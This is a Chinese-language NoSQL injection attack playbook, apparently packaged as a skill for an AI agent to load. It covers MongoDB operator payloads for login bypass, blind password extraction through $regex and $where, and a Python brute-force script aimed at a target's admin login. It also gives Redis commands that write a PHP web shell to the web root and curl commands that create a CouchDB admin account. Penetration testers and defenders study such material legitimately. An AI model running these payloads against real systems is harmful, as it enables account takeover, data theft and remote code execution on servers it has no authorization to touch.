NoSQL 注入劇本。當系統採用 MongoDB 風格的運算子、JSON 查詢物件、彈性搜尋過濾器或後端查詢 DSL,且可能導致資料或邏輯被濫用時使用。
SKILL: NoSQL 注入 — 專家級攻擊劇本
AI 載入指令:NoSQL 注入與 SQL 注入有本質上的不同。本篇涵蓋 MongoDB 運算子注入、身分驗證繞過、盲測資料擷取、聚合管道(Aggregation Pipeline)注入,以及 Redis/CouchDB 的特定攻擊手法。僅熟悉 SQLi 模式的測試人員極易忽略此類漏洞。
1. 核心概念 — 運算子注入(OPERATOR INJECTION)
SQL 注入 是跳出字串常數(string literals)。
NoSQL 注入 則是注入 查詢運算子(query operators) 來改變查詢邏輯。
MongoDB 範例 — 正常查詢:
db.users.find({username: "alice", password: "secret"})
透過 JSON 運算子進行注入:
{
"username": "admin",
"password": {"$gt": ""}
}
→ 變更為:find({username:"admin", password:{$gt:""}}) → password > "" → 永遠為真(always true)!
2. MONGODB — 登入繞過
JSON Body 注入(使用 JSON Content-Type 的 API)
POST /api/login
Content-Type: application/json
{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}
PHP $_POST 陣列注入(URL 編碼表單)
username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*
Ruby / Python params 陣列注入
與 PHP 相同 — 使用中括號語法注入物件:
?username[%24ne]=invalid&password[%24ne]=invalid
%24 即為經過 URL 編碼的 $
3. 用於注入的 MONGODB 運算子
| 運算子 | 涵義 | 使用場景 / 案例 |
|---|---|---|
$ne |
不等於(not equal) | {"password": {"$ne": "x"}} → 永遠比對成功 |
$gt |
大於(greater than) | {"password": {"$gt": ""}} → 比對所有非空密碼 |
$gte |
大於或等於 | 類似 $gt |
$lt |
小於(less than) | {"password": {"$lt": "~"}} → 比對所有 ASCII 字元 |
$regex |
正則表達式比對 | {"username": {"$regex": "adm.*"}} |
$where |
JS 表示式 | 極度危險 — 程式碼執行 |
$exists |
欄位是否存在 | {"admin": {"$exists": true}} |
$in |
存在於陣列中 | {"username": {"$in": ["admin","user"]}} |
4. 透過 $REGEX 進行盲測資料擷取(BLIND DATA EXTRACTION)
類似 SQLi 中的二元搜尋法,利用 $regex 逐字擷取欄位值:
// Admin 的密碼是否以 'a' 開頭?
{"username": "admin", "password": {"$regex": "^a"}}
// Admin 的密碼是否以 'b' 開頭?
{"username": "admin", "password": {"$regex": "^b"}}
// 依此類推:逐步縮小每個位置的字元範圍
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^ac"}}
回應差異:登入成功 vs 登入失敗 = 布林預言機(Boolean Oracle)。
可使用 NoSQLMap 或對字元集進行二元搜尋的自訂腳本進行自動化測試。
5. MONGODB $WHERE 注入(JS 執行)
$where 會在 MongoDB 上下文中執行 JavaScript。
僅能存取當前文件的欄位 — 無法存取系統權限。但仍可用於邏輯濫用:
{"$where": "this.username == 'admin' && this.password.length > 0"}
// 透過時間差進行盲測擷取:
{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}
// 透過 JS 進行正則表達式比對:
{"$where": "this.username.match(/^adm/) && true"}
限制:$where 無法直接取得作業系統指令執行權限 — 這屬於伺服器端 JS 注入(Server-side JS Injection)(請勿與系統指令注入混淆)。
6. 聚合管道注入(AGGREGATION PIPELINE INJECTION)
當使用者可控的資料傳入 $match 或 $group 階段時:
// 存在漏洞的程式碼:
db.collection.aggregate([
{$match: {category: userInput}}, // userInput = {"$ne": null}
...
])
注入運算子以進行繞過:
// 輸入物件:
{"$ne": null} → 比對所有分類
{"$regex": ".*"} → 比對所有項目
7. 用於 NOSQL 的 HTTP 參數污染(HTTP PARAMETER POLLUTION)
部分框架(如 Express.js、PHP)會將重複的參數解析為陣列:
?filter=value1&filter=value2 → filter = ["value1", "value2"]
利用 Node.js 中 qs 函式庫的解析行為:
?filter[$ne]=invalid
→ 解析為:filter = {$ne: "invalid"}
→ 引發 NoSQL 運算子注入
8. COUCHDB 攻擊手法
HTTP 管理員 API(若暴露於外)
# 列出所有資料庫:
curl http://target.com:5984/_all_dbs
# 讀取指定 DB 中的所有文件:
curl http://target.com:5984/DATABASE_NAME/_all_docs?include_docs=true
# 建立管理員帳號(若允許匿名存取):
curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"'
9. REDIS 注入
Redis 埠號暴露(6379)且未啟用驗證 — 透過 Redis 查詢中所使用的輸入進行指令注入:
# 透過 SSRF 或直接注入:
SET key "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
BGSAVE
驗證繞過(使用簡單密碼及 requirepass 的舊版 Redis):
AUTH password
AUTH 123456
AUTH redis
AUTH admin
10. 檢測 Payload
將以下內容傳送至任何由 NoSQL 後端處理的輸入欄位:
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', sleep(1000)
1' ; sleep(1000)
{"$gt": ""}
{"$ne": "invalid"}
[$ne]=invalid
[$gt]=
JSON 變體測試(若端點基於表單,可嘗試將 Content-Type 修改為 application/json):
{"username": "admin", "password": {"$ne": ""}}
11. NOSQL 與 SQL — 關鍵差異
| 面相 / 特徵 | SQLi | NoSQLi |
|---|---|---|
| 語法 | SQL 語法 | 查詢運算子物件 |
| 注入向量 | 字串串接 | 物件 / 運算子注入 |
| 常見特徵 | 單引號中斷回應 | {$ne:x} 改變回應結果 |
| 擷取方式 | UNION / 錯誤導向 | $regex 字元預言機(oracle) |
| 身分驗證繞過 | ' OR 1=1-- |
{"password":{"$ne":""}} |
| OS 指令執行 | xp_cmdshell (MSSQL) | 罕見(需要 $where + CVE) |
| 指紋特徵 | 資料庫特定錯誤訊息 | "cannot use $" 類型的錯誤訊息 |
12. 測試檢查清單
□ 使用 JSON Body 測試登入欄位:{"$ne": "invalid"}
□ 測試 URL 編碼表單:password[$ne]=invalid
□ 測試使用 $regex 盲測列舉欄位值
□ 嘗試配合 sleep() 的 $where 進行時間導向盲測
□ 檢查 CouchDB 5984 埠號(未授權管理員)
□ 檢查 Redis 6379 埠號(未授權存取)
□ 嘗試在表單端點使用 Content-Type: application/json
□ 監控與運算子相關的錯誤訊息(例如 "BSON"、"operator"、"$not allowed")
13. 盲測 NoSQL 資料擷取自動化
$regex 逐字擷取(Python 範本)
import requests
import string
url = "http://target/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
password = ""
while True:
found = False
for c in charset:
payload = {
"username": "admin",
"password[$regex]": f"^{password}{c}.*"
}
r = requests.post(url, json=payload)
if "success" in r.text or r.status_code == 302:
password += c
found = True
print(f"Found: {password}")
break
if not found:
break
print(f"Final password: {password}")
透過 URL 編碼 GET 參數的 $regex 測試
username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^ab.*
# 反覆疊代字元集,直到登入成功為止
重複鍵(Duplicate Key)繞過
// 當應用程式檢查某個鍵值,但實際上處理另一個鍵值時:
{"id": "10", "id": "100"}
// JSON 解析器通常會採用最後出現的鍵值
// 繞過手法:WAF 驗證 id=10,但應用程式處理 id=100
14. 聚合管道注入(AGGREGATION PIPELINE INJECTION)
當使用者輸入傳遞至 MongoDB 聚合管道階段時:
// 若使用者控制了 $match 階段:
db.collection.aggregate([
{ $match: { user: INPUT } } // 來自使用者的 INPUT
])
// 注入方式:提供物件而非字串
// INPUT = {"$gt": ""} → 比對所有文件
// 透過 $lookup 跨集合存取資料:
// 若 $lookup 階段可被注入:
{ $lookup: {
from: "admin_users", // 攻擊者選擇的集合(collection)
localField: "user_id",
foreignField: "_id",
as: "leaked"
}}
// 透過 $out 將結果寫入新集合:
{ $out: "public_collection" } // 將查詢結果寫入可存取的集合中
$where JavaScript 執行
// $where 允許執行任意 JavaScript(危險):
db.users.find({ $where: "this.username == 'admin'" })
// 若輸入進入 $where:
// 注入語法:' || 1==1 || '
// 或:'; return true; var x='
// 時間導向:'; sleep(5000); var x='
// 資料外洩:'; if(this.password[0]=='a'){sleep(5000)}; var x='
參考資料:Soroush Dalili — "MongoDB NoSQL Injection with Aggregation Pipelines" (2024)
注意: $where 會在伺服器端執行 JavaScript。除了邏輯濫用與時間通道(timing oracles)之外,缺乏嚴格 V8 沙盒防護的舊版 MongoDB 在歷史上曾有 RCE 疑慮;建議將任何傳入 $where 的點位均視為高風險漏洞。






